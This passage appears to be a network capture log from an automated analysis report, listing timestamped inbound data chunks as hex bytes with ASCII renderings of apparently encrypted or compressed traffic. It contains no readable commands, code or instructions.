2023-10-13 14:06:11 UTC	2092	IN	Data Raw: 1d 05 42 bf b5 07 d4 bb 5d 41 62 5a 20 d7 4f 46 6c 39 c7 56 5a 48 f7 ad 8e 49 21 da e8 1c 14 d6 a0 bc d9 7f 76 21 83 2d 65 31 c0 62 ad 47 b6 93 ca f8 4b cd a5 8d c1 1f b5 3c 2f f1 01 0a cd a7 67 7e fc 6f 4c 2e e3 dd 38 d2 44 f0 8b d9 75 71 9c ef bb 32 9a 4c ba d3 61 1e 8e 8d ce b3 01 7e 7b 3a 2c bc 5a 4b 0c 9d 68 01 5c c9 81 03 03 e9 8b 4a 11 3c 6f 39 d3 5a 39 ac 48 87 35 b5 f5 ad 83 83 2a 3d aa 56 01 eb 2c 04 a4 2f a2 c4 e1 28 51 d1 8d f8 01 45 e9 b2 d4 43 b3 92 27 f2 24 3e 83 86 db fd a2 fd 19 84 94 07 46 47 2c 72 ac e4 fa 40 09 28 fb b4 0d 06 14 6a 77 24 0a f7 98 3a f3 46 03 5e f7 ed c8 4c 62 af dd ce 88 a5 a8 ed ed 5b 11 2f 31 40 62 32 84 04 04 29 b4 9f 97 a0 bc 83 8f 7f 2f 17 da 36 9d ee d3 d0 cc 07 19 95 ce b6 eb 9d 37 eb be 57 21 7d e5 16 97 65 a5 Data Ascii: B]AbZ OFl9VZHI!v!-e1bGK</g~oL.8Duq2La~{:,ZKh\J<o9Z9H5*=V,/(QEC'$>FG,r@(jw$:F^Lb[/1@b2)/67W!}e
2023-10-13 14:06:11 UTC	2108	IN	Data Raw: e9 eb ad af c0 b9 57 27 34 fa 5e 46 da 5e 27 ae 95 7d 07 a9 4f 65 03 91 5a 49 35 fc 68 48 92 ff 65 21 88 ce 27 57 97 e7 ad b6 08 b7 5d 13 c1 cd f1 18 9f d1 0a d4 06 b1 8a 80 c3 44 0c e9 17 97 21 b8 5e 08 1b 36 a7 3a 9d e8 92 88 88 ce a7 31 51 29 d1 80 e9 2d 00 fb 9f 61 06 3a 6f 2a 7d 41 bb 94 64 e9 c9 98 1c 5d 57 ef ff 40 e2 68 11 17 91 f9 d3 9d 31 c8 02 e4 1f 5d 7c 41 2f 20 44 2b 04 23 d4 12 2c bc 92 8c 56 3f 48 6f d0 b1 b9 1e c9 c4 0b ad ff 76 a9 c4 90 84 45 a2 23 a0 94 fa f2 bf 57 db 56 2e 64 b8 d7 ae 45 7f 28 f5 a2 c7 f5 a2 03 03 4f 4b a0 0f 0f c2 93 fc 07 d9 03 b9 08 7d be 92 5c 54 51 f3 44 77 c3 c7 0a 88 e6 cd a7 a6 41 aa c3 45 f0 ce 51 7c 9a 99 9a a6 68 64 77 ae 2c 33 cd 9e f5 92 d3 11 4c 8a 5a 0d df 8a 16 76 2e 0b 6f 4e c1 1d 58 89 7d ae f0 ab 03 Data Ascii: W'4^F^'}OeZI5hHe!'W]D!^6:1Q)-a:o*}Ad]W@h1]\|A/ D+#,V?HovE#WV.dE(OK}\TQDwAEQ\|hdw,3LZv.oNX}
2023-10-13 14:06:11 UTC	2124	IN	Data Raw: e2 78 c1 f0 d4 02 ec e9 cc f7 35 64 dc e1 06 05 3f ba fe 16 04 60 48 40 54 d1 7e e4 b5 82 4b 6c 85 85 4b 46 95 fd 08 39 c3 a4 02 be 48 b2 54 18 eb 29 f4 15 fe c2 46 3c f0 2f df da bd 1a af 5b 33 8e 30 e0 41 94 1a 16 11 5f 91 7b 7e 6b 41 56 6c 90 ae ab df 3b 3e d8 04 43 b5 ef d9 70 76 c2 e4 a5 69 ae fb 64 26 5b 05 17 35 8b c3 bb bc bf fb 5f 13 21 76 6f 53 5d 81 68 65 f8 0f 18 c7 f4 e2 b9 eb 64 44 43 c8 69 81 b4 e6 b0 dc e5 c2 d7 45 53 6c a4 ef 76 31 65 3a dc df 35 bc 3a 93 8e 59 32 d7 5e 86 6c e2 b5 99 ad 09 f7 9a 36 b4 b4 68 0f 4d 7c 4b 8f 4d de fe 3f 29 30 e2 f4 c5 b4 9b b3 d7 9d 39 9f 43 da 6f fd 7a 5a 41 71 b5 31 1c 51 a6 ab 2c 8a 84 1f 8f 55 4c 95 1f ce f8 02 02 2c c7 88 6a 5e 58 44 b2 ba 7f 62 68 55 4e 61 15 55 60 7a cb e8 3f 20 0f 09 8b ce 8b 73 68 Data Ascii: x5d?`H@T~KlKF9HT)F</[30A_{~kAVl;>Cpvid&[5_!voS]hedDCiESlv1e:5:Y2^l6hM\|KM?)09CozZAq1Q,UL,j^XDbhUNaU`z? sh
2023-10-13 14:06:11 UTC	2140	IN	Data Raw: 9a c2 14 59 b9 3d db 0c 61 41 c0 c4 c7 b9 d0 0e 03 0f 01 41 46 74 d0 e2 41 f1 33 bb 1e 47 2a 3c 33 04 d5 ea 3b 6e 0b 43 e0 43 23 5e 34 89 8c 8d d2 8b 80 06 26 c9 20 41 dc ad c6 75 e8 03 64 45 fd ec 76 0b 60 d7 f6 c7 d1 d9 70 bd 6f 00 02 6e 75 92 25 3e 67 75 a3 d7 f2 a7 18 95 48 53 1d 66 4f ea 5f 5f 30 b5 65 e8 1c c8 27 90 2e 1a b7 cd 72 85 08 16 c7 45 6f 96 09 26 00 df 99 4e 86 ef d1 39 60 59 07 65 50 38 de 38 33 af 55 9c 66 14 bc 24 73 d3 28 aa 05 f8 ff 92 ef db 0c 07 5c 04 4c 29 b0 69 17 7e 63 ad 26 b5 2e f2 d2 fc 8d 2e 92 95 d8 29 6f 56 0c c1 d5 54 01 5f d9 eb 96 e6 2f e7 c8 75 cd 9c e5 8c 08 b0 3e f3 5c b4 5e f5 3c c7 06 21 2b ca a4 55 eb 66 1c 87 51 d3 d4 44 53 df 9c 68 67 66 e3 ff c0 77 ac e8 44 ed 82 16 44 82 c7 3f 7b 77 a2 e4 91 d9 e6 bf 31 d1 70 Data Ascii: Y=aAAFtA3G*<3;nCC#^4& AudEv`ponu%>guHSfO__0e'.rEo&N9`YeP883Uf$s(\L)i~c&..)oVT_/u>\^<!+UfQDShgfwDD?{w1p
2023-10-13 14:06:11 UTC	2156	IN	Data Raw: 3e 12 5a d1 5c cd f2 c6 38 cb 6f 45 19 93 03 5e 8c 60 b3 8d 84 e6 f6 67 a6 d7 00 27 fd 86 d8 48 1b 06 11 61 d0 3d 3d ce 4f ad 4a b9 aa cf 48 c9 6a c1 61 da 58 2e 6c 28 aa d0 bf 68 13 f9 76 2e 04 79 9e 6a d3 e2 51 02 ec 76 fe 53 13 a1 03 de d9 d0 fc 4a 3a 31 5b 9d 02 35 44 2c d0 1f 4b 7a f6 d0 c5 47 bb ed 48 22 f0 51 0a 65 38 47 5a 10 e2 ef 56 d0 5c fa 25 53 25 f3 bd 8d a8 94 64 a1 49 18 7e fb ce 47 48 63 58 d7 d7 cd bf 81 ad 07 95 58 31 e9 13 55 cd a3 c4 f7 67 ff d5 98 2b 10 d5 da c9 d8 6e 8b 01 a5 22 7b de 57 b6 cb 3b 18 87 12 f4 78 c8 60 1a ee 53 b5 82 fe d3 41 14 18 49 0a 16 68 8c 91 66 0b d5 5c 10 b5 53 ed 7a 7e 5b c1 7a 45 2a b2 c1 70 18 22 15 23 0a 96 04 b6 21 6f 96 ab 38 82 79 d7 af f2 23 2b 4a 24 ae bc b8 b9 23 ac af 73 9d 7a 0e 87 14 76 c4 fb 6d Data Ascii: >Z\8oE^`g'Ha==OJHjaX.l(hv.yjQvSJ:1[5D,KzGH"Qe8GZV\%S%dI~GHcXX1Ug+n"{W;x`SAIhf\Sz~[zE*p"#!o8y#+J$#szvm
2023-10-13 14:06:11 UTC	2172	IN	Data Raw: 58 e3 e4 52 d9 12 d2 af e0 1d 13 17 2d 80 14 d7 c8 b2 cd 41 2f 40 28 d8 f9 97 3e 73 70 a6 2e d9 2f 3c 99 d3 29 a4 d7 e1 16 97 10 1d 44 56 8d 29 84 cc b4 6a 65 be 56 b0 56 f9 d3 87 03 35 fd cd 28 95 49 cf 2a 88 db 97 40 eb 2d 88 ae c8 34 48 b4 fc b6 dc 5c 4b 66 9f 9c ac 50 7a ed 78 28 b5 16 43 b2 02 b9 92 fd 10 dd 14 a2 3c 0c 09 21 a0 23 62 a9 44 70 88 52 05 ea 71 bc 1b 5c 24 c7 9c 04 cc 72 7c 86 60 75 8a 6c b6 b8 25 29 1a bd 8a e3 8f 19 3e 3c 40 d7 b0 eb d2 d2 f7 09 e4 21 39 f6 7f 8d fe 9d 76 61 dd 32 28 ef 8e 83 b0 27 d8 6a d1 27 a0 49 e4 bb 7f 10 c2 c4 90 6f 17 95 b8 28 4a 47 28 a8 cb 4f 6d 05 5e 0e 61 40 14 1c 53 c2 8f 84 f1 51 c9 f7 6d 84 db e8 81 bf 57 61 b2 a4 a4 af 41 9c 1f 3b 27 8c 1b d2 e3 15 f2 26 d7 e0 b4 1e 11 c6 41 4a 14 25 92 ea 3e 53 86 15 Data Ascii: XR-A/@(>sp./<)DV)jeVV5(I*@-4H\KfPzx(C<!#bDpRq\$r\|`ul%)><@!9va2('j'Io(JG(Om^a@SQmWaA;'&AJ%>S
2023-10-13 14:06:11 UTC	2188	IN	Data Raw: ee f5 d9 42 5b 40 ab 14 af 5a b3 c1 18 71 82 d6 bd 47 44 76 50 9e d4 0e a9 43 8b c6 11 85 57 fd 83 8c ba 96 41 97 99 f9 aa 23 41 c2 0f de 47 f4 a2 c8 3a bb 6d f7 1d 53 a9 94 89 41 5d 39 ad 54 ac e1 5e 95 d0 b6 33 3d b5 4d a4 4b d9 62 1e 96 17 0f 27 6d aa 1a 75 0c e1 d3 9a e4 61 7e d3 02 38 21 04 cb b2 01 fb 10 06 44 a2 fa 82 93 69 9c 41 0b 07 29 92 6f e4 00 3e c3 71 16 38 44 20 74 a3 13 87 1c 9b c4 6e 15 a8 e4 40 75 74 1d 89 27 42 7b 66 66 9e aa e4 e1 38 83 28 35 1d 7e 36 06 61 2a 91 13 5a 85 e3 17 b3 1f b8 23 de 37 a1 c1 37 7a 08 14 c1 2b a3 15 5a 3c 05 4d af 2a b8 50 a1 b5 85 0f 2f 96 5b 5f 1e fa 7b f2 5c 89 a8 63 31 8f 4e 3e c9 7b 80 82 a4 2f ff b9 1a a2 26 9a c7 f2 af ec 48 03 7d 36 79 2b 98 fe 41 0f 3f d6 cf 2f 50 f6 7a ad d8 fa 16 87 8a b3 76 2c 9f Data Ascii: B[@ZqGDvPCWA#AG:mSA]9T^3=MKb'mua~8!DiA)o>q8D tn@ut'B{ff8(5~6aZ#77z+Z<MP/[_{\c1N>{/&H}6y+A?/Pzv,
2023-10-13 14:06:11 UTC	2204	IN	Data Raw: 89 2f 75 3a 44 04 01 fe d3 2d e0 00 23 0e af e5 1f c3 f4 d8 00 de 0f 02 42 11 6a 3f 42 78 23 fa 77 98 56 62 86 b7 13 6b 16 23 f3 b8 33 49 3a 3a 0c 8c df 93 fc df 73 f4 08 8b 17 60 7d ea 76 89 6f a3 df 1f 4d 9d 3f 01 5a 26 8c 63 32 f0 c7 d7 35 10 f7 2e 0c 36 5f ce 46 17 8d 48 93 d0 22 62 e6 ce 54 32 32 13 5d 27 f4 4a 4c 20 b1 3d cb df e0 46 e7 3f 56 ce ab 18 f2 fa c2 de af bc fb 83 20 7d ff 2e 98 2e 66 94 9d fc 0b 6c b9 a4 f3 27 38 aa 99 94 53 b4 81 c2 e7 ee 9e 8d 80 24 d6 86 e4 59 9b 86 f0 01 98 5d ea 0a dd 44 06 7b dd 6c 33 61 59 b4 2e f7 58 1d 25 9c a2 80 5e 54 d9 c2 fe 66 5d 27 b2 e4 58 02 cf f3 65 fb 67 af e2 d8 0f df 2a b3 0e 5b ed 1a e5 b4 b7 2a e0 f3 b2 d6 3d c3 9c 67 ac 5e 65 fa a5 84 50 67 ea 4e 27 26 c5 01 3a 53 4d 1b b3 7f 97 5b e7 01 df e1 47 Data Ascii: /u:D-#Bj?Bx#wVbk#3I::s`}voM?Z&c25.6_FH"bT22]'JL =F?V }..fl'8S$Y]D{l3aY.X%^Tf]'Xeg[=g^ePgN'&:SM[G
2023-10-13 14:06:11 UTC	2220	IN	Data Raw: 4c d5 60 23 3b 8d 99 cb 8c 24 1d e7 56 36 9b a5 9e 96 3f 6d f5 53 85 b0 79 f4 23 79 64 e1 a6 41 a6 b1 73 f6 d0 92 d8 1f c7 21 10 20 c1 ba 05 fe 67 00 9c 82 a2 66 b5 43 60 65 64 6f 7c 25 ad 86 b5 f7 b0 e3 fa 25 39 b2 a0 8b 65 87 b5 55 0e 70 91 27 b6 95 ee a5 5b a2 97 7c 55 23 a9 1b 5b 12 5f 53 f0 0f 1b e0 42 95 88 ff 9f 28 53 28 fc d6 2b 47 82 99 24 9f 18 87 1b c3 b8 63 8c 55 47 97 61 bf 72 79 2f 32 33 07 ff dd 5a f3 01 0e e4 f6 dc ee c5 3e 7a 71 5b 86 fb 41 1f 3b 8d 03 0f 61 32 73 7d c0 8d 01 ea 81 c1 b4 dd 04 4c d3 39 c6 a9 ed 17 a9 1e e5 da 2f c5 2a 94 c6 cf 49 a3 4b 93 28 c7 7e 37 22 9e 15 f7 cc 87 40 6d a7 35 a7 a7 cf 8c 90 48 bd 6d cc 17 f6 a5 8f df d2 86 db 44 c0 d7 21 5f 2b 02 64 11 a9 99 60 f8 39 08 2b 34 9a 1b aa 12 b1 03 89 13 91 07 73 d7 30 2d Data Ascii: L`#;$V6?mSy#ydAs! gfC`edo\|%%9eUp'[\|U#[_SB(S(+G$cUGary/23Z>zq[A;a2s}L9/*IK(~7"@m5HmD!_+d`9+4s0-
2023-10-13 14:06:11 UTC	2236	IN	Data Raw: f6 14 0e 6a dd 94 81 c0 30 20 dd 15 07 1b 08 95 e0 40 34 6c 46 b0 4d b7 26 56 75 a8 62 d9 6c 70 0e 3b d8 15 9f e5 6c 2b 09 ee 25 e7 3f 14 e6 c4 8d 54 60 b1 41 0d 3b 38 b5 25 38 92 19 c4 7f 47 52 34 4e 0c e8 ca 7d aa 3a 6d 60 f5 22 1a cc dc 7a 1b 9a 87 5a a6 56 3a 18 ed ee 20 6e c1 57 56 3e 33 f8 3b b5 55 aa ed d7 fc ff c3 c0 12 27 6d e0 98 3b 63 6b 1b 68 e2 a3 77 34 a9 04 4f c5 85 d4 9a 64 84 8e 0a 57 19 47 e8 d0 e1 7d 79 b8 1e 21 f3 f8 13 1f ab 54 be 23 e2 f9 50 05 b2 6e be dc e4 46 6b ec 88 a5 98 0b 7e e8 06 d1 04 40 81 40 4a 87 6f 3c cb cd f5 15 a5 31 e3 75 c9 b8 92 ba 36 3a 1a 89 2e 60 67 1a 58 ed c9 f6 9f 13 c8 16 8c 9b ce 17 61 5f e8 c3 ca 2b a3 7c 29 2c 41 72 c3 de db c2 e8 d6 c3 3a 16 32 23 7c 98 e2 2f c8 36 e9 d8 65 ad e1 10 22 26 0b f9 05 e7 6c Data Ascii: j0 @4lFM&Vublp;l+%?T`A;8%8GR4N}:m`"zZV: nWV>3;U'm;ckhw4OdWG}y!T#PnFk~@@Jo<1u6:.`gXa_+\|),Ar:2#\|/6e"&l
2023-10-13 14:06:11 UTC	2252	IN	Data Raw: 10 33 66 74 d5 a9 75 d4 e9 8c e4 b8 5b 49 64 3b a3 1e dc 19 69 f6 19 ed 14 fe 6d 22 d6 3d fb 0c f9 90 71 86 d5 0c cb 5a 0f 27 66 9b 46 27 6e f0 36 61 32 ed 51 ca 44 0e 03 7e d9 23 61 53 57 0a 0a 68 ea bc d6 a1 ef cd 2e 53 33 99 62 5f 98 99 cf 8a d3 5a 52 b6 bd 17 ed d7 b0 80 04 89 42 c4 7f d9 16 d3 32 84 1d 2a 43 62 b3 66 f5 ce 97 57 e7 c5 86 ee 3c a0 d3 4b db de 50 1d f9 5e 7b 59 e7 a2 c7 bf 9b 02 8c 8e 9b a4 ee 34 41 e5 4a d3 1e e1 a8 a4 e0 13 40 11 5f 77 e0 4a 4e 12 33 a2 8a 95 f3 c8 0d 22 a2 05 fe 11 cd 43 9b 6e 04 5c fd 6c c2 92 9e 93 cd d0 b5 7a 42 ca 8e 6b f0 6f 8b 5e a0 69 0d c0 45 16 34 22 58 2d fe 83 10 da eb ed f2 0a 01 b7 a4 33 5b 1e a9 1c 25 b3 f9 4d 1e e6 63 ea 6e 96 3b 18 48 75 32 c0 f6 b6 22 9a 43 a2 66 21 00 18 2b 9f d4 71 62 c9 b2 c8 2a Data Ascii: 3ftu[Id;im"=qZ'fF'n6a2QD~#aSWh.S3b_ZRB2CbfW<KP^{Y4AJ@_wJN3"Cn\lzBko^iE4"X-3[%Mcn;Hu2"Cf!+qb
2023-10-13 14:06:11 UTC	2268	IN	Data Raw: 63 c8 5b ef 32 71 29 e3 d1 39 ad 44 cd 22 dc 72 72 eb 60 0a eb ec 31 9f 8c 9a ad 4d d1 57 9b 38 2d 9f 08 83 ed e3 61 d8 b2 3b dc bc 23 4b 90 52 a0 dc f8 9e 62 6e 25 18 d5 c8 87 d1 9f 70 5c ae b8 97 7d df 96 b7 77 bf 11 92 c6 2c 70 47 ca 2d 57 c8 1b 08 2f 17 59 83 f3 c2 68 b9 0e bb f3 14 ef 78 e2 b9 d4 dc 2d 93 8b 1a a0 1b 30 7d b0 0b a7 eb 43 a0 02 c7 16 ae 41 9c 82 e6 d9 c0 47 a6 95 2f e3 5b 89 a4 ec dc cd e5 c0 2f 13 ab 63 68 97 5a 52 ee d2 9e 72 51 cd 01 7d 06 43 79 ce d8 66 13 c5 7c b7 a3 f9 e9 ca 01 87 1e 60 7c 28 d1 f1 8c b3 ad 5f de 72 d5 1e d6 46 e7 81 67 4a 44 b1 56 88 18 9c a3 f9 95 33 b6 82 6a f8 13 57 58 15 69 83 37 6b ae 3f e0 bd c5 51 9e fd ca f8 2b 9b 0a 97 fc 73 5e 98 f1 42 71 5a 38 ad 58 ba 47 c8 a3 62 5d 4f d6 51 01 f3 03 42 1a 93 2a 99 Data Ascii: c[2q)9D"rr`1MW8-a;#KRbn%p\}w,pG-W/Yhx-0}CAG/[/chZRrQ}Cyf\|`\|(_rFgJDV3jWXi7k?Q+s^BqZ8XGb]OQB*
2023-10-13 14:06:11 UTC	2284	IN	Data Raw: 1d 44 09 62 ca c5 7c 4e ee 79 ed 52 95 04 0c 23 65 ab aa dc ac b0 02 da 9f 44 88 8c ef 11 92 b8 d2 8b 30 92 aa 2a 27 68 19 37 27 42 29 b3 04 d1 c8 ae f8 54 95 f3 b9 75 ce 37 1a 15 3b da bd 97 a1 6a 59 9d 92 fb 23 d5 7f 62 0b 94 92 b7 a4 83 ab 24 da 86 37 13 0e 7b 18 a2 95 e8 75 8f 12 56 74 50 ed 4f 0d 31 da 36 e9 c6 bc c1 cf ba b9 ee 81 4d 99 03 43 56 a1 b6 72 b3 fa b5 c0 3b 75 8d 43 61 3b 8e 3c 3b 21 4e eb 55 86 24 f8 ea 0f 4e af 71 74 7b 4d 29 26 af 01 a4 d6 a3 2d 83 74 6b 4c 9c d8 8d 4c 7c 1e 02 f2 82 e9 ba 61 03 ee 0d 7d 3c 92 ce 75 56 b1 d9 39 0e 20 cb 34 30 07 9a f2 34 f5 38 08 2f de a5 94 ee ac df 0b 51 62 85 d9 a5 07 33 07 9f 38 3c 20 d2 11 ba c9 af f3 b7 ca 06 93 4e d2 60 8c 03 b0 69 cc b1 80 19 5a be 31 b7 e7 04 f9 33 e5 a8 94 fb 31 5b 46 72 6e Data Ascii: Db\|NyR#eD0*'h7'B)Tu7;jY#b$7{uVtPO16MCVr;uCa;<;!NU$Nqt{M)&-tkLL\|a}<uV9 4048/Qb38< N`iZ131[Frn
2023-10-13 14:06:11 UTC	2300	IN	Data Raw: ab c6 ab 1b 92 e2 1b 77 07 8b 08 97 8c e9 84 a8 61 17 b7 f1 ff 2f 94 44 19 0a f2 20 d0 74 72 55 80 37 2d 57 8e 5e 41 54 ef 54 5a fc c6 dd c6 3c 0c 99 cf 05 0a f6 f5 aa 49 7b 80 ce b4 f9 78 b1 cc f0 3e 9e 20 32 49 f1 7d 17 26 c1 b5 62 c8 e1 fa f2 0e 04 b6 a9 d6 c7 22 52 54 ea a3 44 08 33 36 d8 b6 42 74 d1 51 76 3b 44 72 2f 43 96 63 93 a3 04 aa 76 79 e8 c6 e7 f0 c8 a0 0a b4 e3 58 e0 a8 4a f6 ae cf 9c d4 68 d3 da 47 36 0f 3c ee 53 f8 aa 40 92 f6 fd d5 c8 c1 df 34 4d c7 32 4f 3d f3 50 25 41 16 70 2a 64 10 41 7f 06 ee 83 36 5b 0e ee 4f da 7c e3 82 d7 15 d3 22 13 45 16 18 f2 65 62 14 f9 9f 72 84 7f 82 69 00 91 13 32 e6 20 03 33 04 2d 8d de 09 96 3c d2 47 63 f2 83 24 5d c2 6a 4c 5e 1c dd ae 8d 86 e4 4b 10 3f d6 20 a8 a5 2c d4 2d 13 9d 27 2c 9a d5 42 3e ce 73 b6 Data Ascii: wa/D trU7-W^ATTZ<I{x> 2I}&b"RTD36BtQv;Dr/CcvyXJhG6<S@4M2O=P%Ap*dA6[O\|"Eebri2 3-<Gc$]jL^K? ,-',B>s
2023-10-13 14:06:11 UTC	2316	IN	Data Raw: 90 f7 e3 38 4f c5 03 b9 17 a6 81 b4 d4 18 a6 7a bd 82 dc 93 32 fc 5d b5 5a e0 b7 49 09 b0 8e 10 49 8a 2b 97 fc 50 4a 86 2d 44 8a 98 6b 44 00 28 b0 9e 27 4a 84 ca 6c 9a 82 e2 33 07 ef 44 43 cf 62 b4 d3 98 23 a2 27 f1 57 62 ef 88 77 f0 5e 55 82 bf b1 7a d6 d3 74 31 66 b7 92 83 3e 93 d3 20 26 f1 87 ff bb 18 e3 9f fb 5a 8e 14 01 67 23 55 2e d8 14 d0 ad 66 52 1d c1 e9 84 80 61 28 8d 7f 5f bb c7 35 f9 a3 fa 2a ab 8b 6d 04 b7 fd ff 79 c7 93 e6 81 dd 85 82 15 29 e7 31 80 0c b6 05 64 29 06 ff 40 6b dd d2 91 af cc 8f 89 8d 59 72 de 20 41 45 63 b8 b7 de 13 df 62 5b 80 91 46 f9 5a 64 e2 cc fc 2e 60 53 62 9e 5a d4 e2 74 88 98 89 17 99 e1 50 6a 2b c5 1c 5e 75 38 2e 1d c5 2c d0 20 1f a4 41 8d e4 80 04 72 63 2c 5f 32 bf 7b 3d 37 ad e1 fa d8 d5 b4 1e 7d a1 b2 01 e7 15 3b Data Ascii: 8Oz2]ZII+PJ-DkD('Jl3DCb#'Wbw^Uzt1f> &Zg#U.fRa(_5*my)1d)@kYr AEcb[FZd.`SbZtPj+^u8., Arc,_2{=7};
2023-10-13 14:06:11 UTC	2332	IN	Data Raw: b3 c9 f2 3b 49 09 31 4a 27 65 f9 6e 75 70 16 65 51 77 da b5 07 24 08 8a 17 d8 1d ff db 1c 91 67 61 5f 1e a4 2d 6d 30 20 fe ad a9 5a 65 dd 92 d3 92 cb 56 77 58 3c 40 08 3a ac e9 bc f9 26 dd 1b a8 62 85 d3 48 e6 4b 62 d1 29 a9 3a 85 10 48 17 04 1c 4b 7b be df b4 5a b4 d0 84 35 6e 3e e9 0e 96 fc 5a 3f 40 93 e5 49 64 ca 31 d1 81 62 67 d4 66 9f ba e0 fe e3 8b 4d 50 ec d6 60 a3 04 16 5c f4 a6 04 ef 12 ec c1 83 ff 3a bd 49 5d 5d 33 86 a8 84 4a 00 ce b0 8f 34 ff 8c 73 18 15 82 9d e5 7a 88 13 4a 6e 5f 1a 64 ee f2 72 00 8f df 71 92 58 b8 b7 90 c0 6c 78 ad d8 40 6e a4 31 53 07 77 50 72 ff 7e 5b cd 97 55 ef c0 ea 6a bd 31 08 de a9 0a 85 90 63 e1 ae ad 2b 17 db 78 af f8 f1 8f cf 90 cf d3 36 9f 4c 84 c0 f2 9d eb b3 50 c2 94 27 60 46 e3 f1 68 02 17 3f 93 65 86 79 73 92 Data Ascii: ;I1J'enupeQw$ga_-m0 ZeVwX<@:&bHKb):HK{Z5n>Z?@Id1bgfMP`\:I]]3J4szJn_drqXlx@n1SwPr~[Uj1c+x6LP'`Fh?eys
2023-10-13 14:06:11 UTC	2348	IN	Data Raw: 85 f7 dd d7 88 51 de c7 53 f7 8f 73 0b d3 88 f3 f8 f0 0c 18 75 d8 74 55 78 78 e0 4a d2 dc bd 9f 66 0c 31 47 4c 6b 68 db 22 e0 68 c2 90 12 b7 76 fd a5 03 6b 6e fe 1c c8 75 d4 e8 e3 da 6e e3 42 77 db 0e a4 c2 cf df 6c 80 aa 4c 19 af e3 03 29 c4 e1 06 d6 83 13 92 19 4a 54 73 1a 0d 49 5b 78 9d 99 29 2d 1c 04 2d d2 e7 89 d6 96 c8 21 56 f4 ac 20 ee a5 70 e4 6d a3 bb fa ba 43 1d 88 d8 81 48 39 06 ea f1 bb ad 5c ec 22 bd 5b 01 bb 60 44 ba 6a 2b c2 dd 5b 3d 56 96 9b c0 fc a6 35 97 5f 77 3d 08 22 ac 6e b6 3b 37 36 bf 9e 19 60 2d 1a 00 82 71 06 77 55 71 f4 b5 88 d1 ec 57 81 22 f8 5f c9 f6 a9 14 74 c4 28 54 41 0a d4 98 86 50 52 4c 2b 66 d3 43 b5 4f 36 b1 7f 3c bc ab 63 27 ad 5a 37 41 71 a4 c2 14 18 58 3a 2e 10 fd 90 7a b3 10 61 a9 0f d6 30 af 7c eb 7a bc 43 e1 c7 33 Data Ascii: QSsutUxxJf1GLkh"hvknunBwlL)JTsI[x)--!V pmCH9\"[`Dj+[=V5_w="n;76`-qwUqW"_t(TAPRL+fCO6<c'Z7AqX:.za0\|zC3
2023-10-13 14:06:11 UTC	2364	IN	Data Raw: ca 9b e5 09 ea 00 61 13 8f f0 6d 22 df 02 68 46 d1 32 21 30 5c 76 ed bc 25 14 97 37 4c 0d 4d ed 43 65 7c b0 46 81 33 65 a9 63 bb cc df c8 87 4b 33 d6 2f da 59 d1 61 8e 64 9f de ce 98 3c 00 2c c6 81 52 ae 7e 32 4d 3c 3a db 19 f6 0d 3e 81 98 15 a4 0d 64 eb f4 e8 ba 33 9c 0e 09 bc 64 d3 60 fe 08 f8 26 7d 8c 05 0b 5c a0 94 ad 48 27 da a2 52 be e2 79 67 07 e8 67 d2 76 9e ce cc 2d 17 4d 74 f9 89 15 6b 31 79 1d 06 d7 f2 11 3b ef c9 1e d7 85 65 7a 57 f8 36 c8 d8 39 b5 1a 93 bd cc 41 21 7d fb 41 b6 60 ec 04 82 72 a9 ae 0c 16 c5 2d 83 b7 c3 5e 64 43 d8 81 51 4e cb fc 27 51 ca f4 d3 5c ba f6 b8 0c 18 2d af d6 38 ad a9 82 b9 eb 66 f3 8a eb 6c a1 b6 f2 6b a0 35 25 e4 ed 76 cf 76 4f 18 92 56 a0 9d a7 d2 db 27 50 5b a4 5a 31 37 6c c4 8c 5e 51 7f 1a 56 1d 62 88 f6 86 4a Data Ascii: am"hF2!0\v%7LMCe\|F3ecK3/Yad<,R~2M<:>d3d`&}\H'Ryggv-Mtk1y;ezW69A!}A`r-^dCQN'Q\-8flk5%vvOV'P[Z17l^QVbJ
2023-10-13 14:06:11 UTC	2380	IN	Data Raw: 7d dc 8e a2 5a fc 5b ce 10 c1 94 77 5a c2 39 22 24 12 40 12 ac 48 8d e2 ec ef 16 14 93 79 73 7b da 00 a5 12 d5 02 8f 9e c1 c3 8d 07 e0 b2 73 59 5a 86 6e d0 99 8b 7e dd 95 36 b6 a0 8a 12 bb 84 98 cf 72 15 d0 c5 96 fa 4c d4 00 63 b1 81 4b 5e a6 2c 94 24 ca ae f7 a0 4a 93 3d a9 7a 4f 71 8e 18 c7 99 c6 cb 6c 7f ae 79 1b 96 c4 06 a6 c4 52 86 b3 da 51 8a 3f a3 19 d0 d7 63 90 e0 0c 92 f1 de 79 9b 57 6d e4 65 7a 5e f2 33 4e 40 3b 89 c8 72 8c 33 21 5d be 4f 72 18 d2 77 89 79 4d d8 95 32 61 c6 26 79 bc 19 db aa da 7c 68 19 da 73 5b 4a 53 4d e7 1c 3d d3 fc 11 e8 a0 02 c5 6e 34 00 c1 00 73 6a 37 f7 62 93 75 f5 58 e2 5e b6 82 f5 11 7c 1e dd c2 bd 35 3a 13 0e 3d aa 6a 3d 4d f8 90 c1 81 e0 75 4a d0 1b 13 76 ff 91 c2 57 ec c0 f2 ca d7 94 ff 48 8e 6b da 77 16 59 87 f6 6f Data Ascii: }Z[wZ9"$@Hys{sYZn~6rLcK^,$J=zOqlyRQ?cyWmez^3N@;r3!]OrwyM2a&y\|hs[JSM=n4sj7buX^\|5:=j=MuJvWHkwYo
2023-10-13 14:06:11 UTC	2396	IN	Data Raw: a4 d8 76 94 74 23 50 1a 23 4b 34 8b 65 34 6a 1d bf 69 84 d7 32 5c 12 cd b5 55 56 a5 23 1f cf 0b 57 6c 5e 17 6c 5a e1 f2 17 79 4c 09 32 57 52 66 1f c1 c1 63 61 52 de 9a 53 58 37 ac a6 e7 38 14 c1 57 e8 42 b8 44 44 52 8a 2a 9c 3e 96 3f aa cb 0a 54 84 31 e3 ce 6b bd 8b 2f b7 ca b4 47 e6 33 e6 0f b0 9b cc 57 09 a8 89 83 c2 d2 10 fa fb 3d 47 30 0b b6 cb e8 ee 0e c2 eb 83 1b 95 5e b8 b5 44 c4 a6 08 13 0a e7 5e 8a 96 31 e7 91 fe c6 31 ab 1c ca ca e9 bf c9 4e 7a a8 07 60 95 55 62 a0 10 f6 43 0c 70 c1 7d a2 dd e1 d8 11 70 3b b6 e9 54 c8 98 b9 26 cb 99 6d 30 70 9f a1 92 81 95 48 ff 8e 79 a7 86 4d a2 24 dd af de 24 d9 9e a6 8a 26 7b 01 fa 76 81 91 f3 06 3a 5f b7 f3 81 1e 20 0a b8 53 96 81 e2 6e a3 19 35 c7 53 0b 27 41 bb 6f 0a eb d3 1e 19 08 27 fd 62 aa 25 54 